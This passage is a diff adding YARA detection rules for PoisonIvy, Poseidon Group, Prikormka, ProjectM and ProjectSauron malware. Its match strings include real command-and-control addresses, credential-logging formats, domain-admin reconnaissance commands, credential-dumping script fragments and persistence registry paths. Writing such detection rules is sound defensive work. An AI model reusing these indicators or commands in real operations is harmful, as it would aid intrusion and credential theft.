+		$s16 = "040904b0" fullword wide /* score: '-2365' */ /* Goodware String - occured 2370 times */
+		$s17 = "LegalTrademarks" fullword wide /* score: '-3518' */ /* Goodware String - occured 3523 times */
+		$s18 = "CreateThread" fullword ascii /* score: '-3909' */ /* Goodware String - occured 3914 times */
+		$s19 = "ntdll.dll" fullword ascii /* score: '-4675' */ /* Goodware String - occured 4680 times */
+		$s20 = "_adjust_fdiv" fullword ascii /* score: '-5450' */ /* Goodware String - occured 5455 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 47KB and all of them
+}
+
+rule PoisonIvy_Sample_APT_3 {
+	meta:
+		description = "Detects a PoisonIvy Malware"
+		author = "Florian Roth"
+		score = 70
+		reference = "VT Analysis"
+		date = "2015-06-03"
+		hash = "df3e1668ac20edecc12f2c1a873667ea1a6c3d6a"
+	strings:
+		$s0 = "\\notepad.exe" fullword ascii /* score: '11.025' */
+		$s1 = "\\RasAuto.dll" fullword ascii /* score: '11.025' */
+		$s3 = "winlogon.exe" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 13 times */
+	condition:
+		uint16(0) == 0x5a4d and all of them
+}
+
+
+rule PoisonIvy_Sample_APT_4 {
+	meta:
+		description = "Detects a PoisonIvy Sample APT"
+		author = "Florian Roth"
+		score = 70
+		reference = "VT Analysis"
+		date = "2015-06-03"
+		hash = "558f0f0b728b6da537e2666fbf32f3c9c7bd4c0c"
+	strings:
+		$s0 = "Microsoft Software installation Service" fullword wide /* PEStudio Blacklist: strings */ /* score: '15.04' */
+		$s1 = "idll.dll" fullword ascii /* score: '11.02' */
+		$s2 = "mgmts.dll" fullword wide /* score: '11.0' */
+		$s3 = "Microsoft(R) Windows(R)" fullword wide /* score: '6.025' */
+		$s4 = "ServiceMain" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 322 times */
+		$s5 = "Software installation Service" fullword wide /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 3 times */
+		$s6 = "SetServiceStatus" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 741 times */
+		$s7 = "OriginalFilename" fullword wide /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 19040 times */
+		$s8 = "ZwSetInformationProcess" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 31 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and 7 of them
+}
+
+rule PoisonIvy_Sample_5 {
+	meta:
+		description = "Detects PoisonIvy RAT sample set"
+		author = "Florian Roth"
+		score = 70
+		reference = "VT Analysis"
+		date = "2015-06-03"
+		hash = "545e261b3b00d116a1d69201ece8ca78d9704eb2"
+	strings:
+		$s0 = "Microsoft Software installation Service" fullword wide /* PEStudio Blacklist: strings */ /* score: '15.04' */
+		$s2 = "pidll.dll" fullword ascii /* score: '11.02' */
+		$s3 = "\\mspmsnsv.dll" fullword ascii /* score: '11.005' */
+		$s4 = "\\sfc.exe" fullword ascii /* score: '11.005' */
+		$s13 = "ServiceMain" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 322 times */
+		$s15 = "ZwSetInformationProcess" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 31 times */
+		$s17 = "LookupPrivilegeValueA" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 336 times */
+condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them
+}
+
+
+rule PoisonIvy_Sample_6 {
+	meta:
+		description = "Detects PoisonIvy RAT sample set"
+		author = "Florian Roth"
+		score = 70
+		reference = "VT Analysis"
+		date = "2015-06-03"
+		hash1 = "8c2630ab9b56c00fd748a631098fa4339f46d42b"
+		hash2 = "36b4cbc834b2f93a8856ff0e03b7a6897fb59bd3"
+	strings:
+		$x1 = "124.133.252.150" fullword ascii /* score: '9.5' */
+		$x3 = "http://124.133.254.171/up/up.asp?id=%08x&pcname=%s" fullword ascii /* score: '24.01' */
+
+		$z1 = "\\temp\\si.txt" fullword ascii /* PEStudio Blacklist: strings */ /* score: '27.01' */
+		$z2 = "Daemon Dynamic Link Library" fullword wide /* PEStudio Blacklist: strings */ /* score: '11.02' */
+		$z3 = "Microsoft Windows CTF Loader" fullword wide /* PEStudio Blacklist: strings */ /* score: '11.03' */
+		$z4 = "\\tappmgmts.dll" fullword ascii /* score: '11.005' */
+		$z5 = "\\appmgmts.dll" fullword ascii /* score: '11.0' */
+
+		$s0 = "%USERPROFILE%\\AppData\\Local\\Temp\\Low\\ctfmon.log" fullword ascii /* PEStudio Blacklist: strings */ /* score: '43.015' */
+		$s1 = "%USERPROFILE%\\AppData\\Local\\Temp\\ctfmon.tmp" fullword ascii /* PEStudio Blacklist: strings */ /* score: '37.015' */
+		$s2 = "\\temp\\ctfmon.tmp" fullword ascii /* PEStudio Blacklist: strings */ /* score: '28.01' */
+		$s3 = "SOFTWARE\\Classes\\http\\shell\\open\\commandV" fullword ascii /* PEStudio Blacklist: strings */ /* score: '27.025' */
+		$s4 = "CONNECT %s:%i HTTP/1.0" fullword ascii /* PEStudio Blacklist: strings */ /* score: '19.02' */
+		$s5 = "start read histry key" fullword ascii /* PEStudio Blacklist: strings */ /* score: '18.04' */
+		$s6 = "Content-Disposition: form-data; name=\"%s\"; filename=\"%s\"" fullword ascii /* score: '18.03' */
+		$s7 = "[password]%s" fullword ascii /* PEStudio Blacklist: strings */ /* score: '17.025' */
+		$s8 = "Daemon.dll" fullword ascii /* PEStudio Blacklist: strings */ /* score: '16.02' */
+		$s9 = "[username]%s" fullword ascii /* PEStudio Blacklist: strings */ /* score: '12.035' */
+		$s10 = "advpack" fullword ascii /* score: '7.005' */
+		$s11 = "%s%2.2X" fullword ascii /* score: '7.0' */
+		$s12 = "advAPI32" fullword ascii /* score: '6.015' */
+	condition:
+		( uint16(0) == 0x5a4d and 1 of ($x*) ) or
+		( 8 of ($s*) ) or
+		( 1 of ($z*) and 3 of ($s*) )
+}
+
+rule PoisonIvy_Sample_7 {
+	meta:
+		description = "Detects PoisonIvy RAT sample set"
+		author = "Florian Roth"
+		score = 70
+		reference = "VT Analysis"
+		date = "2015-06-03"
+		hash = "9480cf544beeeb63ffd07442233eb5c5f0cf03b3"
+	strings:
+		$s0 = "Microsoft Software installation Service" fullword wide /* PEStudio Blacklist: strings */ /* score: '15.04' */
+		$s2 = "pidll.dll" fullword ascii /* score: '11.02' */
+		$s10 = "ServiceMain" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 322 times */
+		$s11 = "ZwSetInformationProcess" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 31 times */
+		$s12 = "Software installation Service" fullword wide /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 3 times */
+		$s13 = "Microsoft(R) Windows(R) Operating System" fullword wide /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 128 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-04-22
+	Identifier:
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule PoisonIvy_RAT_ssMUIDLL {
+	meta:
+		description = "Detects PoisonIvy RAT DLL mentioned in Palo Alto Blog in April 2016"
+		author = "Florian Roth (with the help of yarGen and Binarly)"
+		reference = "http://goo.gl/WiwtYT"
+		date = "2016-04-22"
+		hash1 = "7a424ad3f3106b87e8e82c7125834d7d8af8730a2a97485a639928f66d5f6bf4"
+		hash2 = "6eb7657603edb2b75ed01c004d88087abe24df9527b272605b8517a423557fe6"
+		hash3 = "2a6ef9dde178c4afe32fe676ff864162f104d85fac2439986de32366625dc083"
+		hash4 = "8b805f508879ecdc9bba711cfbdd570740c4825b969c1b4db980c134ac8fef1c"
+		hash5 = "ac99d4197e41802ff9f8852577955950332947534d8e2a0e3b6c1dd1715490d4"
+	strings:
+		$s1 = "ssMUIDLL.dll" fullword ascii
+
+		 // 0x10001f81 6a 00	push	0
+		 // 0x10001f83 c6 07 e9	mov	byte ptr [edi], 0xe9
+		 // 0x10001f86 ff d6	call	esi
+		 $op1 = { 6a 00 c6 07 e9 ff d6 } // sample=e9ccf4e139bbbd114b67cc3cee260d1cb638c9d0 address=0x10001f81
+		 // 0x100012a9 02 cb	add	cl, bl
+		 // 0x100012ab 6a 00	push	0
+		 // 0x100012ad 88 0f	mov	byte ptr [edi], cl
+		 // 0x100012af ff d6	call	esi
+		 // 0x100012b1 47	inc	edi
+		 // 0x100012b2 ff 4d fc	dec	dword ptr [ebp - 4]
+		 // 0x100012b5 75 ??	jne	0x10001290
+		 $op2 = { 02 cb 6a 00 88 0f ff d6 47 ff 4d fc 75 } // sample=e9ccf4e139bbbd114b67cc3cee260d1cb638c9d0 address=0x100012a9
+		 // 0x10001f93 6a 00	push	0
+		 // 0x10001f95 88 7f 02	mov	byte ptr [edi + 2], bh
+		 // 0x10001f98 ff d6	call	esi
+		 $op3 = { 6a 00 88 7f 02 ff d6 } // sample=e9ccf4e139bbbd114b67cc3cee260d1cb638c9d0 address=0x10001f93
+
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 20KB and ( all of ($op*) ) ) or ( all of them )
+}
+
+rule PoisonIvy_Generic_3 {
+	meta:
+		description = "PoisonIvy RAT Generic Rule"
+		author = "Florian Roth"
+		date = "2015-05-14"
+		hash = "e1cbdf740785f97c93a0a7a01ef2614be792afcd"
+	strings:
+		$k1 = "Tiger324{" fullword ascii
+		
+		$s2 = "WININET.dll" fullword ascii
+		$s3 = "mscoree.dll" fullword wide
+		$s4 = "WS2_32.dll" fullword
+		$s5 = "Explorer.exe" fullword wide
+		$s6 = "USER32.DLL"
+		$s7 = "CONOUT$"
+		$s8 = "login.asp"
+		
+		$h1 = "HTTP/1.0"
+		$h2 = "POST"
+		$h3 = "login.asp"
+		$h4 = "check.asp"
+		$h5 = "result.asp"
+		$h6 = "upload.asp"
+	condition:
+		uint16(0) == 0x5a4d and filesize < 500KB and
+			( 
+				$k1 or all of ($s*) or all of ($h*)
+			)
+}
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-02-09
+	Identifier: Poseidon Group APT
+*/
+
+rule PoseidonGroup_Malware {
+	meta:
+		description = "Detects Poseidon Group Malware"
+		author = "Florian Roth"
+		reference = "https://securelist.com/blog/research/73673/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/"
+		date = "2016-02-09"
+		score = 85
+		hash1 = "337e94119cfad0b3144af81b72ac3b2688a219ffa0bdf23ca56c7a68fbe0aea4"
+		hash2 = "344034c0bf9fcd52883dbc158abf6db687150d40a118d9cd6ebd843e186128d3"
+		hash3 = "432b7f7f7bf94260a58ad720f61d91ba3289bf0a9789fc0c2b7ca900788dae61"
+		hash4 = "8955df76182005a69f19f5421c355f1868efe65d6b9e0145625dceda94b84a47"
+		hash5 = "d090b1d77e91848b1e2f5690b54360bbbd7ef808d017304389b90a0f8423367f"
+		hash6 = "d7c8b47a0d0a9181fb993f17e165d75a6be8cf11812d3baf7cf11d085e21d4fb"
+		hash7 = "ded0ee29af97496f27d810f6c16d78a3031d8c2193d5d2a87355f3e3ca58f9b3"
+	strings:
+		$s1 = "c:\\winnt\\system32\\cmd.exe" fullword ascii
+		$s2 = "c:\\windows\\system32\\cmd.exe" fullword ascii
+		$s3 = "c:\\windows\\command.com" fullword ascii
+		$s4 = "copy \"%s\" \"%s\" /Y" fullword ascii
+		$s5 = "http://%s/files/" fullword ascii
+		$s6 = "\"%s\". %s: \"%s\"." fullword ascii
+		$s7 = "0x0666" fullword ascii
+		$s8 = "----------------This_is_a_boundary$" fullword ascii
+		$s9 = "Server 2012" fullword ascii /* Goodware String - occured 1 times */
+		$s10 = "Server 2008" fullword ascii /* Goodware String - occured 1 times */
+		$s11 = "Server 2003" fullword ascii /* Goodware String - occured 1 times */
+
+		$a1 = "net.exe group \"Domain Admins\" /domain" fullword ascii
+		$a2 = "net.exe group \"Admins. do Dom" fullword ascii
+		$a3 = "(SVRID=%d)" fullword ascii
+		$a4 = "(TG=%d)" fullword ascii
+		$a5 = "(SVR=%s)" fullword ascii
+		$a6 = "Set-Cookie:\\b*{.+?}\\n" fullword wide
+		$a7 = "net.exe localgroup Administradores" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 650KB and 6 of ($s*) ) or
+		( 4 of ($s*) and 1 of ($a*) )
+}
+
+rule PoseidonGroup_MalDoc_1 {
+	meta:
+		description = "Detects Poseidon Group - Malicious Word Document"
+		author = "Florian Roth"
+		reference = "https://securelist.com/blog/research/73673/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/"
+		date = "2016-02-09"
+		score = 80
+		hash = "0983526d7f0640e5765ded6be6c9e64869172a02c20023f8a006396ff358999b"
+	strings:
+		$s1 = "c:\\cmd32dll.exe" fullword ascii
+	condition:
+		uint16(0) == 0xcfd0 and filesize < 500KB and all of them
+}
+
+rule PoseidonGroup_MalDoc_2 {
+	meta:
+		description = "Detects Poseidon Group - Malicious Word Document"
+		author = "Florian Roth"
+		reference = "https://securelist.com/blog/research/73673/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/"
+		date = "2016-02-09"
+		score = 70
+		hash1 = "3e4cacab0ff950da1c6a1c640fe6cf5555b99e36d4e1cf5c45f04a2048f7620c"
+		hash2 = "1f77475d7740eb0c5802746d63e93218f16a7a19f616e8fddcbff07983b851af"
+		hash3 = "f028ee20363d3a17d30175508bbc4738dd8e245a94bfb200219a40464dd09b3a"
+		hash4 = "ec309300c950936a1b9f900aa30630b33723c42240ca4db978f2ca5e0f97afed"
+		hash5 = "27449198542fed64c23f583617908c8648fa4b4633bacd224f97e7f5d8b18778"
+		hash6 = "1e62629dae05bf7ee3fe1346faa60e6791c61f92dd921daa5ce2bdce2e9d4216"
+	strings:
+		$s0 = "{\\*\\generator Msftedit 5.41." ascii
+		$s1 = "Attachment 1: Complete Professional Background" ascii
+		$s2 = "E-mail:  \\cf1\\ul\\f1"
+		$s3 = "Education:\\par" ascii
+		$s5 = "@gmail.com" ascii
+	condition:
+		uint32(0) == 0x74725c7b and filesize < 500KB and 3 of them
+}
+// Operation Groundbait yara rules
+// For feedback or questions contact us at: github@eset.com
+// https://github.com/eset/malware-ioc/
+//
+// These yara rules are provided to the community under the two-clause BSD
+// license as follows:
+//
+// Copyright (c) 2016, ESET
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions are met:
+//
+// 1. Redistributions of source code must retain the above copyright notice, this
+// list of conditions and the following disclaimer.
+//
+// 2. Redistributions in binary form must reproduce the above copyright notice,
+// this list of conditions and the following disclaimer in the documentation
+// and/or other materials provided with the distribution.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+// FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+// DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+// CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+// OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+//
+
+private rule PrikormkaDropper
+{
+    strings:
+        $mz = { 4D 5A }
+
+        $kd1 = "KDSTORAGE" wide
+        $kd2 = "KDSTORAGE_64" wide
+        $kd3 = "KDRUNDRV32" wide
+        $kd4 = "KDRAR" wide
+
+        $bin1 = {69 65 04 15 00 14 1E 4A 16 42 08 6C 21 61 24 0F}
+        $bin2 = {76 6F 05 04 16 1B 0D 5E 0D 42 08 6C 20 45 18 16}
+        $bin3 = {4D 00 4D 00 43 00 00 00 67 00 75 00 69 00 64 00 56 00 47 00 41 00 00 00 5F 00 73 00 76 00 67 00}
+
+        $inj1 = "?AVCinj2008Dlg@@" ascii
+        $inj2 = "?AVCinj2008App@@" ascii
+    condition:
+        ($mz at 0) and ((any of ($bin*)) or (3 of ($kd*)) or (all of ($inj*)))
+}
+
+private rule PrikormkaModule
+{
+    strings:
+        $mz = { 4D 5A }
+
+        // binary
+        $str1 = {6D 70 2E 64 6C 6C 00 53 74 61 72 74 69 6E 67 00}
+        $str2 = {68 6C 70 75 63 74 66 2E 64 6C 6C 00 43 79 63 6C 65}
+        $str3 = {00 6B 6C 2E 64 6C 6C 00 53 74 61 72 74 69 6E 67 00}
+        $str4 = {69 6F 6D 75 73 2E 64 6C 6C 00 53 74 61 72 74 69 6E 67}
+        $str5 = {61 74 69 6D 6C 2E 64 6C 6C 00 4B 69 63 6B 49 6E 50 6F 69 6E 74}
+        $str6 = {73 6E 6D 2E 64 6C 6C 00 47 65 74 52 65 61 64 79 46 6F 72 44 65 61 64}
+        $str7 = {73 63 72 73 68 2E 64 6C 6C 00 47 65 74 52 65 61 64 79 46 6F 72 44 65 61 64}
+
+        // encrypted
+        $str8 = {50 52 55 5C 17 51 58 17 5E 4A}
+        $str9 = {60 4A 55 55 4E 53 58 4B 17 52 57 17 5E 4A}
+        $str10 = {55 52 5D 4E 5B 4A 5D 17 51 58 17 5E 4A}
+        $str11 = {60 4A 55 55 4E 61 17 51 58 17 5E 4A}
+        $str12 = {39 5D 17 1D 1C 0A 3C 57 59 3B 1C 1E 57 58 4C 54 0F}
+
+        // mutex
+        $str13 = "ZxWinDeffContex" ascii wide
+        $str14 = "Paramore756Contex43" wide
+        $str15 = "Zw_&one@ldrContext43" wide
+
+        // other
+        $str16 = "A95BL765MNG2GPRS"
+
+        // dll names
+        $str17 = "helpldr.dll" wide fullword
+        $str18 = "swma.dll" wide fullword
+        $str19 = "iomus.dll" wide fullword
+        $str20 = "atiml.dll"  wide fullword
+        $str21 = "hlpuctf.dll" wide fullword
+        $str22 = "hauthuid.dll" ascii wide fullword
+
+        // rbcon
+        $str23 = "[roboconid][%s]" ascii fullword
+        $str24 = "[objectset][%s]" ascii fullword
+        $str25 = "rbcon.ini" wide fullword
+
+        // files and logs
+        $str26 = "%s%02d.%02d.%02d_%02d.%02d.%02d.skw" ascii fullword
+        $str27 = "%02d.%02d.%02d_%02d.%02d.%02d.%02d.rem" wide fullword
+
+        // pdb strings
+        $str28 = ":\\!PROJECTS!\\Mina\\2015\\" ascii
+        $str29 = "\\PZZ\\RMO\\" ascii
+        $str30 = ":\\work\\PZZ" ascii
+        $str31 = "C:\\Users\\mlk\\" ascii
+        $str32 = ":\\W o r k S p a c e\\" ascii
+        $str33 = "D:\\My\\Projects_All\\2015\\" ascii
+        $str34 = "\\TOOLS PZZ\\Bezzahod\\" ascii
+
+    condition:
+        ($mz at 0) and (any of ($str*))
+}
+
+private rule PrikormkaEarlyVersion
+{
+    strings:
+        $mz = { 4D 5A }
+
+        $str1 = "IntelRestore" ascii fullword
+        $str2 = "Resent" wide fullword
+        $str3 = "ocp8.1" wide fullword
+        $str4 = "rsfvxd.dat" ascii fullword
+        $str5 = "tsb386.dat" ascii fullword
+        $str6 = "frmmlg.dat" ascii fullword
+        $str7 = "smdhost.dll" ascii fullword
+        $str8 = "KDLLCFX" wide fullword
+        $str9 = "KDLLRUNDRV" wide fullword
+    condition:
+        ($mz at 0) and (2 of ($str*))
+}
+
+rule Prikormka
+{
+    meta:
+        Author      = "Anton Cherepanov"
+        Date        = "2016/05/10"
+        Description = "Operation Groundbait"
+        Source = "https://github.com/eset/malware-ioc/"
+        Contact = "threatintel@eset.com"
+        License = "BSD 2-Clause"
+    condition:
+        PrikormkaDropper or PrikormkaModule or PrikormkaEarlyVersion
+}
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-03-26
+	Identifier: ProjectM
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule ProjectM_DarkComet_1 {
+	meta:
+		description = "Detects ProjectM Malware - file cc488690ce442e9f98bac651218f4075ca36c355d8cd83f7a9f5230970d24157"
+		author = "Florian Roth"
+		reference = "http://researchcenter.paloaltonetworks.com/2016/03/unit42-projectm-link-found-between-pakistani-actor-and-operation-transparent-tribe/"
+		date = "2016-03-26"
+		hash = "cc488690ce442e9f98bac651218f4075ca36c355d8cd83f7a9f5230970d24157"
+	strings:
+		$x1 = "DarkO\\_2" fullword ascii
+
+		$a1 = "AVICAP32.DLL" fullword ascii
+		$a2 = "IDispatch4" fullword ascii
+		$a3 = "FLOOD/" fullword ascii
+		$a4 = "T<-/HTTP://" fullword ascii
+		$a5 = "infoes" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 600KB and 4 of them ) or ( all of them )
+}
+
+rule ProjectM_CrimsonDownloader {
+	meta:
+		description = "Detects ProjectM Malware - file dc8bd60695070152c94cbeb5f61eca6e4309b8966f1aa9fdc2dd0ab754ad3e4c"
+		author = "Florian Roth"
+		reference = "http://researchcenter.paloaltonetworks.com/2016/03/unit42-projectm-link-found-between-pakistani-actor-and-operation-transparent-tribe/"
+		date = "2016-03-26"
+		hash = "dc8bd60695070152c94cbeb5f61eca6e4309b8966f1aa9fdc2dd0ab754ad3e4c"
+	strings:
+		$x1 = "E:\\Projects\\m_project\\main\\mj shoaib"
+
+		$s1 = "\\obj\\x86\\Debug\\secure_scan.pdb" ascii
+		$s2 = "secure_scan.exe" fullword wide
+		$s3 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run|mswall" fullword wide
+		$s4 = "secure_scan|mswall" fullword wide
+		$s5 = "[Microsoft-Security-Essentials]" fullword wide
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 400KB and $x1 ) or ( all of them )
+}
+import "pe"
+import "math"
+
+rule apt_ProjectSauron_pipe_backdoor  {
+	meta:
+		copyright = "Kaspersky Lab"
+		description = "Rule to detect ProjectSauron pipe backdoors"
+		version = "1.0"
+		reference = "https://securelist.com/blog/"
+	strings:
+		$a1 = "CreateNamedPipeW" fullword ascii
+		$a2 = "SetSecurityDescriptorDacl" fullword ascii
+		$a3 = "GetOverlappedResult" fullword ascii
+		$a4 = "TerminateThread" fullword ascii
+		$a5 = "%s%s%X" fullword wide
+	condition:
+		uint16(0) == 0x5A4D
+		and (all of ($a*))
+		and filesize < 100000
+}
+
+rule apt_ProjectSauron_encrypted_LSA  {
+meta:
+	copyright = "Kaspersky Lab"
+	description = "Rule to detect ProjectSauron encrypted LSA samples"
+	version = "1.0"
+	reference = "https://securelist.com/blog/"
+strings:
+	$a1 = "EFEB0A9C6ABA4CF5958F41DB6A31929776C643DEDC65CC9B67AB8B0066FF2492" fullword ascii
+	$a2 = "\\Device\\NdisRaw_" fullword ascii
+	$a3 = "\\\\.\\GLOBALROOT\\Device\\{8EDB44DC-86F0-4E0E-8068-BD2CABA4057A}" fullword wide
+	$a4 = "Global\\{a07f6ba7-8383-4104-a154-e582e85a32eb}" fullword wide
+	$a5 = "Missing function %S::#%d" fullword wide
+	$a6 = {8945D08D8598FEFFFF2BD08945D88D45BC83C20450C745C0030000008975C48955DCFF55FC8BF88D8F0000003A83F90977305333DB53FF15}
+	$a7 = {488D4C24304889442450488D452044886424304889442460488D4520C7442434030000002BD848897C243844896C244083C308895C246841FFD68D880000003A8BD883F909772DFF}
+condition:
+	uint16(0) == 0x5A4D
+	and (any of ($a*) or
+	(
+		pe.exports("InitializeChangeNotify") and
+		pe.exports("PasswordChangeNotify") and
+		math.entropy(0x400, filesize) >= 7.5
+	))
+	and filesize < 1000000
+}
+
+rule apt_ProjectSauron_encrypted_SSPI  {
+meta:
+	copyright = "Kaspersky Lab"
+	description = "Rule to detect encrypted ProjectSauron SSPI samples"
+	version = "1.0"
+	reference = "https://securelist.com/blog/"
+condition:
+	uint16(0) == 0x5A4D and
+	filesize < 1000000 and
+	pe.exports("InitSecurityInterfaceA") and
+	pe.characteristics & pe.DLL and
+	(pe.machine == pe.MACHINE_AMD64 or pe.machine == pe.MACHINE_IA64) and
+	math.entropy(0x400, filesize) >= 7.5
+}
+
+rule apt_ProjectSauron_MyTrampoline  {
+meta:
+	copyright = "Kaspersky Lab"
+	description = "Rule to detect ProjectSauron MyTrampoline module"
+	version = "1.0"
+	reference = "https://securelist.com/blog/"
+strings:
+	$a1 = ":\\System Volume Information\\{" wide
+	$a2 = "\\\\.\\PhysicalDrive%d" wide
+	$a3 = "DMWndClassX%d"
+
+	$b1 = "{774476DF-C00F-4e3a-BF4A-6D8618CFA532}" ascii wide
+	$b2 = "{820C02A4-578A-4750-A409-62C98F5E9237}" ascii wide
+condition:
+	uint16(0) == 0x5A4D and
+	filesize < 5000000 and
+	(all of ($a*) or any of ($b*))
+}
+
+rule apt_ProjectSauron_encrypted_container  {
+meta:
+	copyright = "Kaspersky Lab"
+	description = "Rule to detect ProjectSauron samples encrypted container"
+	version = "1.0"
+	reference = "https://securelist.com/blog/"
+
+strings:
+
+	$vfs_header = {02 AA 02 C1 02 0?}
+	$salt = {91 0A E0 CC 0D FE CE 36 78 48 9B 9C 97 F7 F5 55}
+
+condition:
+	uint16(0) == 0x5A4D
+	and ((@vfs_header < 0x4000) or $salt) and
+	math.entropy(0x400, filesize) >= 6.5 and
+	(filesize > 0x400) and filesize < 10000000
+}
+
+rule apt_ProjectSauron_encryption  {
+meta:
+	copyright = "Kaspersky Lab"
+	description = "Rule to detect ProjectSauron string encryption"
+	version = "1.0"
+	reference = "https://securelist.com/blog/"
+
+
+strings:
+
+	$a1 = {81??02AA02C175??8B??0685}
+	$a2 = {918D9A94CDCC939A93939BD18B9AB8DE9C908DAF8D9B9BBE8C8C9AFF}
+	$a3 = {803E225775??807E019F75??807E02BE75??807E0309}
+
+condition:
+	filesize < 5000000 and
+	any of ($a*)
+}
+
+rule apt_ProjectSauron_generic_pipe_backdoor {
+meta:
+	copyright = "Kaspersky Lab"
+	description = "Rule to detect ProjectSauron generic pipe backdoors"
+	version = "1.0"
+	reference = "https://securelist.com/blog/"
+
+strings:
+	$a = { C7 [2-3] 32 32 32 32 E8 }
+	$b = { 42 12 67 6B }
+	$c = { 25 31 5F 73 }
+	$d = "rand"
+	$e = "WS2_32"
+
+condition:
+	uint16(0) == 0x5A4D and
+	(all of them) and
+	filesize < 400000
+}
+rule APT_Project_Sauron_Scripts {
+	meta:
+		description = "Detects scripts (mostly LUA) from Project Sauron report by Kaspersky"
+		author = "Florian Roth"
+		reference = "https://goo.gl/eFoP4A"
+		date = "2016-08-08"
+	strings:
+		$x1 = "local t = w.exec2str(\"regedit "
+		$x2 = "local r = w.exec2str(\"cat"
+		$x3 = "ap*.txt link*.txt node*.tun VirtualEncryptedNetwork.licence"
+		$x4 = "move O FakeVirtualEncryptedNetwork.dll"
+		$x5 = "sinfo | basex b 32url | dext l 30"
+		$x6 = "w.exec2str(execStr)"
+		$x7 = "netnfo irc | basex b 32url"
+		$x8 = "w.exec(\"wfw status\")"
+		$x9 = "exec(\"samdump\")"
+		$x10 = "cat VirtualEncryptedNetwork.ini|grep"
+		$x11 = "if string.lower(k) == \"securityproviders\" then"
+		$x12 = "exec2str(\"plist b | grep netsvcs\")"
+		$x13 = ".*account.*|.*acct.*|.*domain.*|.*login.*|.*member.*"
+		$x14 = "SAURON_KBLOG_KEY ="
+	condition:
+		1 of them
+}
+
+rule APT_Project_Sauron_arping_module {
+	meta:
+		description = "Detects strings from arping module - Project Sauron report by Kaspersky"
+		author = "Florian Roth"
+		reference = "https://goo.gl/eFoP4A"
+		date = "2016-08-08"
+	strings:
+		$s1 = "Resolve hosts that answer"
+		$s2 = "Print only replying Ips"
+		$s3 = "Do not display MAC addresses"
+	condition:
+		all of them
+}
+
+rule APT_Project_Sauron_kblogi_module {
+	meta:
+		description = "Detects strings from kblogi module - Project Sauron report by Kaspersky"
+		author = "Florian Roth"
+		reference = "https://goo.gl/eFoP4A"
+		date = "2016-08-08"
+	strings:
+		$x1 = "Inject using process name or pid. Default"
+		$s2 = "Convert mode: Read log from file and convert to text"
+		$s3 = "Maximum running time in seconds"
+	condition:
+		$x1 or 2 of them
+}
+
+rule APT_Project_Sauron_basex_module {
+	meta:
+		description = "Detects strings from basex module - Project Sauron report by Kaspersky"
+		author = "Florian Roth"
+		reference = "https://goo.gl/eFoP4A"
+		date = "2016-08-08"
+	strings:
+		$x1 = "64, 64url, 32, 32url or 16."
+		$s2 = "Force decoding when input is invalid/corrupt"
+		$s3 = "This cruft"
+	condition:
+		$x1 or 2 of them
+}
+
+rule APT_Project_Sauron_dext_module {
+	meta:
+		description = "Detects strings from dext module - Project Sauron report by Kaspersky"
+		author = "Florian Roth"
+		reference = "https://goo.gl/eFoP4A"
+		date = "2016-08-08"
+	strings:
+		$x1 = "Assemble rows of DNS names back to a single string of data"
+		$x2 = "removes checks of DNS names and lengths (during split)"
+		$x3 = "Randomize data lengths (length/2 to length)"
+		$x4 = "This cruft"
+	condition:
+		2 of them
+}
+
+rule Hacktool_This_Cruft {
+	meta:
+		description = "Detects string 'This cruft' often used in hack tools like netcat or cryptcat and also mentioned in Project Sauron report"
+		author = "Florian Roth"
